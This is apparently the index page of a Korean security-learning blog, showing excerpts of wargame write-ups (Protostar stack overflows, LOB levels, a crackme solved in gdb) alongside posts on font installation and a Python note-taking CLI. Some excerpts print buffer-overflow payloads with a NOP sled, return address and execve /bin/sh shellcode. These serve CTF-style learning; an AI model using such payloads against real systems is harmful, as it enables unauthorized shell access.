일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | ||||
4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 |
18 | 19 | 20 | 21 | 22 | 23 | 24 |
25 | 26 | 27 | 28 | 29 | 30 | 31 |
- 포너블
- IS함수
- kosis
- 빅데이터
- 써니나타스 1번
- pyinstaller
- lob 10번
- orge to troll
- 데이터형
- lob 7번
- kostat
- ultra argv hunter
- 쉘코드
- lob
- wolfman to darkelf
- argv
- R언어
- 결측치
- 마크업 언어
- anxi0
- 자료개방포털
- 써니나타스
- 범용레지스터 #레지스터 #어셈블리 #ASM #리버싱 #어셈블리어 #EAX #ESP
- argc
- pythoncli
- troll to
- pythonexe
- lob 9번
- mode함수
- 서니나타스
- Today
- Total
목록전체 글 (72)
ANX1-Z3R0의 불안극복(不安克服)

#include #include #include #include int main(int argc, char **argv) { volatile int modified; char buffer[64]; if(argc == 1) { errx(1, "please specify an argument\n"); } modified = 0; strcpy(buffer, argv[1]); if(modified == 0x61626364) { printf("you have correctly got the variable to the right value\n"); } else { printf("Try again, you got 0x%08x\n", modified); } } modified를 0x61626364로 변조하는 문제이다..

[ stack0 ] #include #include #include int main(int argc, char **argv) { volatile int modified; char buffer[64]; modified = 0; gets(buffer); if(modified != 0) { printf("you have changed the 'modified' variable\n"); } else { printf("Try again?\n"); } } modified 영역을 변조하라는 듯 하다. stack입장에서 modified가 먼저 선언되어 위에 buffer가 쌓이므로, buffer를 길게 늘어뜨리면 modified 영역을 침범할 수 있게 된다. buffer를 딱 65개만큼만 넣어보자. gdb로 프로그램을 ..

아래 주소로 들어가서 매뉴얼을 본다. 그리고 오른쪽의 문제들을 클릭하면서 소스코드를 본다. https://old.liveoverflow.com/binary_hacking/protostar/index.html Protostar - LiveOverflow This video introduces http://exploit-exercises.com, how to connect to the VM with ssh and explains what setuid binaries are. old.liveoverflow.com 다음 파일을 다운받고 압축풀기 한다. wget https://blog.kakaocdn.net/dn/b4YcBk/btqGg6ezhjE/iY3EWKgINDaMLAPWNtxdrK/tfile.tar tar ..
터미널에서 su root apt-get update apt-get install fonts-nanum* apt-get install nabi reboot EZ

특정 입력값을 넣으면 레지스터의 값과 비교대조하는 프로그램이다. gdb로 바로 까보자 gdb -q ./license_1 set disassembly-flavor intel #문법 수정 disas main #메인함수 까기 그러면 여기서 비교대조를 할거 아니여 bp걸고 레지스터 확인 Q. why? A. strcmp의 비교대조 레지스터는 si, di이므로 b *main+69 r 1234 x/gs $rdi,&rsi EZ

argv[1]의 크기를 제한한다. 그럼 2에 넣으면 되지 스페이스바를 하나 쓱 밀어서 argv[2]에 nop sled와 공격코드를 넣자. 애초에 argv[]라는 게 배열이라서 스페이스 바 단위로 배열에 저장한다. 일단 넣고 보자. (gdb) b *main+242 (gdb) r `python -c 'print "\x90"*44+ "\xbf"*4 + " "+"\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'` ret과 nop sled 사이에 공백하나 넣은 거 보이는가, 이게 argv[2]로 넘어가게 만드는 키다. 뭔 말인지 잘 모르겠다면, c언어 cli 프로그..

바로 한번 까보자. 코드는 전과 비슷한데, buffer hunter라고 해서 buffer를 비워버리는 부분이 추가 되었다. 상관없다. 왜? 우리는 ret뒤에 쉘코드를 넣는 기교를 이미 알고 있으니까! gdb로 ret할 주소만 알아내면 끝 (gdb) r `python -c 'print "\x90"*44 + "\xbf"*4 + "\x90"*30 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'` 하고 덤프를 뜨면 \xbffffab0 부터의 nop sled에 기입하면 된다는 것을 알 수 있다. payload에 주소값만 바꿔서 본 파일에 실행하면 done. 정말 테크닉 하나 필요없..

나는 생산성에 집착하는 사람이므로, 아이디어가 떠올랐을 때 그것이 금방 기억에서 사라지는것을 경계한다. 그래서 만든 프로그램 ideaTank! 1. idea를 간단히 저장하는 프로그램 제작 2. 환경변수에 올려서 cmd 켜면 바로 사용할 수 있게 만들기 1. 사용되는 모듈은 내장함수인 sys 뿐이다. c언어에서 사용되는 argc,argv를 사용할 수 있게 해준다. =>cli(command line interface) 프로그램을 만들게 해 준다. 진짜 cli 프로그램처럼 help도 만들어 주고 CRUD를 모두 구현했다. main함수에서는 argv길이 처리를 해주고, 정의한 main함수로 넘겨주었다. # made by anxi0 import sys def help(): helpStr = """ Option ..